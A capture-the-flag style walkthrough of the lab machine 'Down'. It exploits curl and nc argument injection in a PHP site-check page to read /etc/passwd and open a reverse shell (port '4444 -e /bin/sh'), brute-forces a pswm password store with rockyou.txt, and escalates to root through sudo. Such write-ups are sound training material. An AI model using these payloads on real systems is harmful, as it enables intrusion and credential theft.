Machine Card showing Down as an easy Linux machine

Reconnaissance

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
|_  256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Is it down or just me?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Besides the SSH port there’s only HTTP open.

Execution

Website to check if a page is down

Browsing to the web page reveals some kind of down monitor or check. It requires an URL as input and using my own IP generates a hit on my web server with user-agent curl/7.81.0 and a positive feedback on the check.

Positive feedback on a up host

curl is the swiss-army-knife for anything web-related and can speak many protocols. Apparently the applications checks for the presence of http or https at the beginning of the string and produces an error otherwise. It’s possible to specify multiple URLs on the command line1 and maybe the check only works on the first one.

BurpSuite showing the retrieval of passwd

Adding the URL file:///etc/passwd to the request in BurpSuite also retrieves the contents of the passwd file. By retrieving the Apache2 configuration file at /etc/apache2/sites-enabled/000-default.conf I can see the web root being set to /var/www/html and I decide to read index.php next.

/var/www/html/index.php
<?php
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
  echo '<h1>Is the port refused, or is it just you?</h1>
        <form id="urlForm" action="index.php?expertmode=tcp" method="POST">
            <input type="text" id="url" name="ip" placeholder="Please enter an IP." required><br>
            <input type="number" id="port" name="port" placeholder="Please enter a port number." required><br>
            <button type="submit">Is it refused?</button>
        </form>';
} else {
  echo '<h1>Is that website down, or is it just you?</h1>
        <form id="urlForm" action="index.php" method="POST">
            <input type="url" id="url" name="url" placeholder="Please enter a URL." required><br>
            <button type="submit">Is it down?</button>
        </form>';
}
 
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
  $ip = trim($_POST['ip']);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST['port']);
  $port_int = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
  if ( $valid_ip && $valid_port ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
    exec($ec . " 2>&1",$output,$rc);
    echo '<div class="output" id="outputSection">';
    if ( $rc === 0 ) {
      echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    } else {
      echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    }
  } else {
    echo '<div class="output" id="outputSection">';
    echo '<font color=red size=+1>Please specify a correct IP and a port between 1 and 65535.</font>';
  }
} elseif (isset($_POST['url'])) {
  $url = trim($_POST['url']);
  if ( preg_match('|^https?://|',$url) ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/curl -s $url");
    exec($ec . " 2>&1",$output,$rc);
    echo '<div class="output" id="outputSection">';
    if ( $rc === 0 ) {
      echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    } else {
      echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
    }
  } else {
    echo '<div class="output" id="outputSection">';
    echo '<font color=red size=+1>Only protocols http or https allowed.</font>';
  }
}
?>

The PHP code reveals another functionally called expertmode that is triggered by setting the GET parameter exportmode=tcp and supplying an IP and port as POST parameters, that are passed to nc instead of curl and allow to check for open ports.

As already seen with the curl command the other endpoint is also vulnerable to parameter injection and nc can be used to gain a shell through -e. Running the below requests grants me a shell as www-data.

POST /index.php?expertmode=tcp HTTP/1.1
Host: 10.10.73.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://10.10.73.129
DNT: 1
Connection: keep-alive
Referer: http://10.10.73.129/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
 
ip=10.10.10.10&port=4444+-e+/bin/sh

Privilege Escalation

Shell as aleks

The permissions on the home directory for aleks allow me to list some of the contents. A find reveals files related to pswm, a simple command line password manager.

$ find /home/aleks
/home/aleks
/home/aleks/.bashrc
/home/aleks/.sudo_as_admin_successful
/home/aleks/.local
/home/aleks/.local/share
/home/aleks/.local/share/pswm
/home/aleks/.local/share/pswm/pswm
/home/aleks/.bash_history
/home/aleks/.cache
/home/aleks/.ssh
/home/aleks/.profile
/home/aleks/.bash_logout
 
$ cat /home/aleks/.local/share/pswm/pswm
e9<REDACTED>BQ==

Based on the source code I build a simple Python script to iterate through rockyou.txt until the correct password is identified.

bruteforce.py
import cryptocode
 
CRYPTED='e9<REDACTED>BQ=='
 
def check(password: str) -> bool:
    if result := cryptocode.decrypt(CRYPTED, password):
        print(result)
    return result
    
 
with open('/usr/share/wordlists/rockyou.txt') as f:
    while not check(f.readline().strip()):
        pass

It just takes a few moments and the script produces the desired output. It includes the password for SSH.

$ python bruteforce.py
pswm    aleks   f<REDACTED>r
aleks@down      aleks   1<REDACTED>E

Shell as root

Checking the sudo privileges for aleks shows the user can run anything as anyone including root and I can just escalate my privileges this way.

$ sudo -l 
Matching Defaults entries for aleks on down:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User aleks may run the following commands on down:
    (ALL : ALL) ALL
 
$ sudo -s
root@down:/home/aleks# id
uid=0(root) gid=0(root) groups=0(root)

Attack Path

flowchart TD

subgraph "Execution"
	A(Down Check) -->|Argument Injection| B(Local File Read)
	B -->|Retrieve Source Code| C(Discover expertmode)
	C -->|Argument Injection| D(Shell as www-data)
end

subgraph "Privilege Escalation"
	D -->|Access to Password Manager| E(Encryped Data)
	E -->|Bruteforce| F(Passwords for aleks)
	F -->|Sudo| G(Shell as root)
end

Footnotes

  1. curl man page